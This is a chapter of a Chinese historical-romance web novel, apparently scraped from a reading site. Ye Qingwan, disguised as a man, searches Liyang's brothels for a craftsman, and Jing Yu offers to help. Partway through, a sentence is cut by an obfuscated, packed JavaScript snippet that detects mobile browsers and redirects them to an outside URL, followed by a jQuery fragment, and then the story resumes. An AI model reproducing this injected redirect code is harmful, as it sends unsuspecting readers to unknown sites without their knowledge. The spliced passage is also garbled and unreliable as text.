默认冷灰
24号文字
方正启体

6. 第六章

作者:盛时月本书字数:K更新时间:
    次日一早,二人便启程前往澧阳。


    一路快马加鞭,六个时辰后,总算赶在城门关闭前抵达。


    骑马不比乘船,极为耗费体力,沿途他们只在一处茶肆休整了小半个时辰,景煜本以为叶清晚一个女儿家会有些吃不消,不想一整天下来,她竟连眉头都未皱一下。


    叶清晚心中所想亦然,景煜平日看着一副公子哥儿做派,赶起路来倒是丝毫不含糊。


    华灯初上,街上行人络绎不绝,店铺亦是门庭若市迎来送往。


    哒哒的马蹄声淹没在街市的热闹中,叶清晚扯了下缰绳让马儿停下,率先开口:“景公子,既然澧阳已到,我就在此告辞了。”


    景煜脚下一滞,“你要走?”


    叶清晚露出莫名的表情,“不然呢?”


    不过是萍水相逢,顺路同行了一程,若非中途遇到意外,他们早在昨日就该分道扬镳了。


    景煜被噎得一时没说出话,半晌问道:“叶姑娘今晚可有去处?”


    叶清晚扫了眼街市,答非所问:“澧阳城这么大,自然能找到住的地方。”


    这便是坚持要走的意思了。


    此时若再留人便是有些不识眼色了,景煜暗叹一口气,终归没再多说什么,朝叶清晚一拱手,笑道:“既如此,叶姑娘珍重,再会。”


    叶清晚颔首,“景公子也是,再会。”


    她牵着缰绳转身而去,很快一抹青衫便消失在人群中,竟是一点留恋也无。


    景煜站在原地未动,倚着马背望着她消失的方向,许久,无奈叹道:“有些麻烦啊。”


    -


    夜晚,客栈厢房中一豆烛火摇曳。


    叶清晚洗去一身风尘,伏在桌前静静看着手中的东西出神。


    那是一把精巧的匕首,刀鞘镂着繁复的纹样,以金银错装饰,刀柄由铁桦木制成,顶端镶着一颗红色玉髓,在烛火下泛着柔润的光泽。


    锋利的刀刃藏于华美的外观之下,一旦出鞘,便可吹毛断发。


    这是去年哥哥寄给她的十七岁生辰贺礼,也是他留下的最后一条线索。


    此等上品,非名家之手不可得,整个晋陵有这样手艺的,也只有人称“陈鬼斧”的陈璞了。


    这些年陈璞行踪不定,叶清晚找人买了消息,说他近一年常在澧阳一带出现,这也是她这次来澧阳的真正目的。


    至于寻人的线索,很是旖旎。


    传闻陈璞拜倒在一名青楼花魁的裙下,为她神魂颠倒,流连不去,若要找到陈璞,这位女子便是关键。


    叶清晚放下匕首,盯着烛火凝眉思索。


    可这花魁,又该如何去找呢?


    -


    次日一早,叶清晚便去成衣铺子买了套男子常服,顺带挑了柄折扇。


    与景煜那柄自是不能比,她只是不由想起那人笑意款款折扇轻摇的模样,心想若要乔装去那种地方,多半该按照他的模样来才好。


    买好衣饰,叶清晚又重回客栈换了行头,还特意改了下眉型五官,让面相看起来更硬朗些,摇身一变,俨然一个俊秀佳公子。


    想到此番是隐藏身份办事,又将素日挂在腰间的赤玉勾形佩收入内襟之中,这才再次出了门。


    澧阳城最热闹的烟花之地名为扶柳坊,坊中花楼林立,晚间最为热闹。


    叶清晚心下一番计较,决定先从生意最好的一家花楼查起。若传言是真,陈璞多半是这里的常客,她一家一家寻,应能找到些线索。


    只不过守株待兔到底不是上策,她后来也尝试向老鸨打听楼里的头牌,可老鸨们纷纷面露古怪,不是称姑娘病了就是称当晚有客,三日下来,除了见识了一番姑娘们吹拉弹唱的技艺,竟是一点收获也无。


    -


    城内另一处宅院。


    金乌西沉,余晖落满池塘,如同铺了层碎金。


    池塘旁的水榭之中,景煜正执着一只白玉杯,独自饮着茶。茶汤浅碧,是上好的明前龙井。


    凌空一声轻响,一人利落落在他身后,行了一礼,“主子。”


    那人的脸一半隐于阴影之中,更显五官如刀削斧刻般硬朗,正是几日前带走马六的那个不苟言笑的男子。


    景煜放下茶杯,“查得如何了?”


    男子沉声道:“据马六招认,沙老大只命人送货,并没有告诉他们货是什么,说是送到澧阳城郊,自会有人来接应。只是这接应的人……”男子拧眉,“属下还未查清。”


    景煜摆摆手,“已经打了草,蛇不会轻易出洞。货的来源呢?”


    “走陆路,由益州而来,隔一阵子就会到一批。潭安码头是威龙堂的地盘,应该是和沙老大谈好的生意。只是据马六说,这批货先前从未假以人手,威龙堂只提供码头和船只,运货的却都是他们自己的人。”


    景煜抬眼,“那这次是沙老大自作主张?”


    “是,前阵子沙老大忽然狮子大开口,坐地起价,对方不肯答应,他就把货给劫了。”


    景煜指尖在石桌上轻叩着。


    看来这沙老大不仅劫了货,还想从中讹上一笔,他熟知以往的送货路线,便让自己人的伪装成渡船运送。可想来他并不知,这些东西非但不会让他捞到好处,反倒可能成为他的催命符。


    “沙老大呢?”


    “两日前已中毒而亡。”


    果然。


    以那些人斩草除根的风格,沙老大活不了。


    只是这样线索便又断了。


    景煜看着夕阳下的池水,表面无波,却不知内里藏了什么乾坤。


    良久,他才开口:“无衣,你觉得这件事,会和那些人有关吗?”


    被唤作“无衣”的男子目露异色,“主子是觉得,这些黑衣人和那时候的……是同一批?”


    景煜摇摇头,“不清楚,只是一种感觉。”


    此刻下判断过于武断,只是这些事频频将江湖朝堂牵扯在一处,令他不得不多想。


    “罢了。”他道,“若真是同一批人,自然会再出现。你先下去吧。”


    无衣应下,方要离开,突然想到什么,脚下又是一顿,“主子,属下这两天还发现一事。近日……似乎有人在暗中探查叶姑娘的消息。”


    景煜眸光陡然转深,“是什么人?”


    无衣摇头,“行踪很是隐秘,我们的人也是偶然得知,从清渠镇开始,就一直有人在打听叶姑娘的下落。”


    “清渠镇……”景煜摩挲着扇骨,微微眯眼。


    “会不会……和那些黑衣人有关?”无衣猜测。


    景煜未置可否,半晌后道:“继续查,不要惊动他们,有什么消息立刻跟我汇报。”


    “是。”


    冰蓝碧玺扇坠在傍晚的霞光下透出潋滟的光泽,他突然想到那双剪水眸子,三日未见,也不知她过得如何。


    “她这几天在做什么?”


    “她?”无衣愣了愣,随即反应过来景煜说的是谁,面露几分古怪,“叶姑娘这三日都在……逛青楼。”


    -


    最后一缕霞光消失在天际尽头,明月初升,低低地坠在墨蓝色的天幕上。


    扶柳坊正是热闹的时候,街上人头攒动,花楼上明灯高悬,流光溢彩,乐声歌声不绝于耳,天下最歌舞升平的景象想来也不过如此。


    叶清晚走在人群中,面色清冷似丝毫不为这繁华所扰,心中却十分困顿。


    繁华地亦是销金窟,哪怕只是在堂中坐着看看歌舞,三日下来也已花了不少银钱。


    再这么下去,找不找得到陈璞还未可知,她自己怕是要先流落街头了。


    正一筹莫展之际,头顶突然传来一道破空之声,叶清晚旋身一躲,将那飞来之物稳稳接在手中,定睛一看,才发现竟是只琉璃杯。


    她抬眼看去,只见街边酒楼的窗边正坐着一位锦衣公子,折扇轻摇眉目含笑,自成一派风流气度。


    难怪方才半点杀气也无。


    景煜笑意悠然,无比自然地问道:“叶姑娘,多日未见,要不要上来小酌一杯?”


    叶清晚收了眼中冷意,“不必了。”


    说罢便要转身离开。


    哪知那人又唤了一声,她微蹙着眉看过去,意思显而易见:你又要干嘛?


    景煜却似浑然未觉,笑道:“那琉璃杯价值百两,方才我不慎掉落,还劳烦姑娘送上来一趟。”


    “……”


    -


    酒楼内设雅致,叶清晚方走到厢房门口,雕花木门就从里面打开了。


    开门的人她有印象,正是那日在清渠镇河畔带走马


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099044|195677||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    六之人。


    他出现在此处,想来那晚的事已查出些眉目,只不过这些并不是她当下关心的。


    她走到临窗的桌前,将琉璃杯放在桌上,“可以了?”


    景煜却不在意她的冷淡,执起琉璃壶将杯中添满,含笑道:“既然来了,不如坐下喝一杯。”


    叶清晚扫了眼杯中浓郁的色泽,景煜又道:“是葡萄酿,不醉人。”


    僵持片刻,她终还是落了座,却没动面前的杯子,只问:“特意叫我上来,有事?”


    景煜也不强求,“碰巧遇到了,请叶姑娘上来谈谈天。”


    这人总是有这样的本事,能把信口胡诌说得煞有介事,叶清晚自是半个字都不信。


    她神色未动,眼中分明写着:我跟你有何天好谈?


    景煜知道她的性子,适时收了玩笑,不再绕弯子,“罢了,我是见你面有凝思,想着或许能襄助一二。”


    叶清晚眉微挑,“什么意思?”


    “今日你可是又要去青楼?”


    “你调查我?”神色淡淡,辨不清喜恶。


    景煜没否认,“手下的人恰巧得知,好奇罢了。一个姑娘日日乔装去青楼,你是在打听什么人?”


    叶清晚未置可否,平静看着他,等待下文。


    景煜修长的手指在桌案上叩了叩,“如今看来,应是并未打探到什么?”


    柔和的晚风穿过窗牖,徐徐拂人面,这几日天气和暖了不少,风也带着沁人的温凉。


    一如对面的人,姿容如玉,一双桃花眼笑看着人的时候,总像有无限温情。


    但,也只是像。


    半晌,叶清晚收回审视的目光,“你打算怎么帮我?”


    “看来是我猜对了。”景煜了然一笑,浅浅抿了一口酒,继续道:“可知道你为何打探不到消息?”


    叶清晚秀眉微锁,眼中也有些不解,“那些花魁不是病了就是没空,我根本没机会见到她们。”


    厢房内立着几盏雕花灯,暖光映在叶清晚脸上,衬得她眉目如画。她此时作男子打扮,倒真有些像玉莹尘清的浊世佳公子。


    景煜一手支颐端详着,叶清晚蹙蹙眉,“你在看什么?”


    “衣服不妥。”


    “有何不妥?”


    “你扮作男子,寻常人虽看不出端倪,但花楼的妈妈们阅过的姑娘无数,自然能一眼看穿。”景煜循循善诱,“一个姑娘家乔装去花楼,专门打听花魁,你觉得她们会怎么想?”


    叶清晚渐渐反应过来,露出诧异之色,“她们以为我是去……找麻烦的?”


    是了,如此便能解释老鸨们看到她时为何都是一副讳莫如深的表情。


    一时间啼笑皆非,绕了一大圈,她竟是被当成了争风吃醋的女人。


    聪明人一点就通,景煜目露赞赏,“所以,你得换个法子。”


    “怎么做?”


    “找个男子一起去,只不过你得换回女装,扮成侍女。”


    这主意可算不得讨喜,况且偌大的澧阳城,她认得的男子统共也就景煜一个。


    叶清晚起身便要走。


    “当然你也可以雇人陪你演戏。”景煜不紧不慢地道,“但要有足够的默契,可不是易事。”


    叶清晚停下脚步,深深看了他一眼,“你为什么要帮我?”


    景煜笑笑,“上次生铁的事有了些眉目,不过要进一步探查,还需在澧阳城多待些时日,左右闲着无聊,不如找些事打发打发时间。听说花朝楼的歌舞不错,我那下属日日在外奔波,也是好久没好好放松一下了。”


    立在门边的无衣嘴角一抽,想要说些什么,看了眼景煜,终还是闭上嘴,把话咽回了肚子里。


    叶清晚也不知他是真无聊还是假无聊,这人看似不羁,却句句话都藏在这不羁之下,辨不清真假。


    “况且——”景煜又道,“一同破天罡北斗阵的事你还没答应,我既有求于你,自然该礼尚往来,出手相助。”


    叶清晚垂下眸,暗自思索。


    他说的不是全无道理,眼下她没有更好的办法,亦没有更好的人选,若能尽快找到陈璞,打探到哥哥的下落,似乎……试上一回也无妨。


    她心中盘算清楚,终是没有拒绝,抬眼道:“既如此,有劳。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)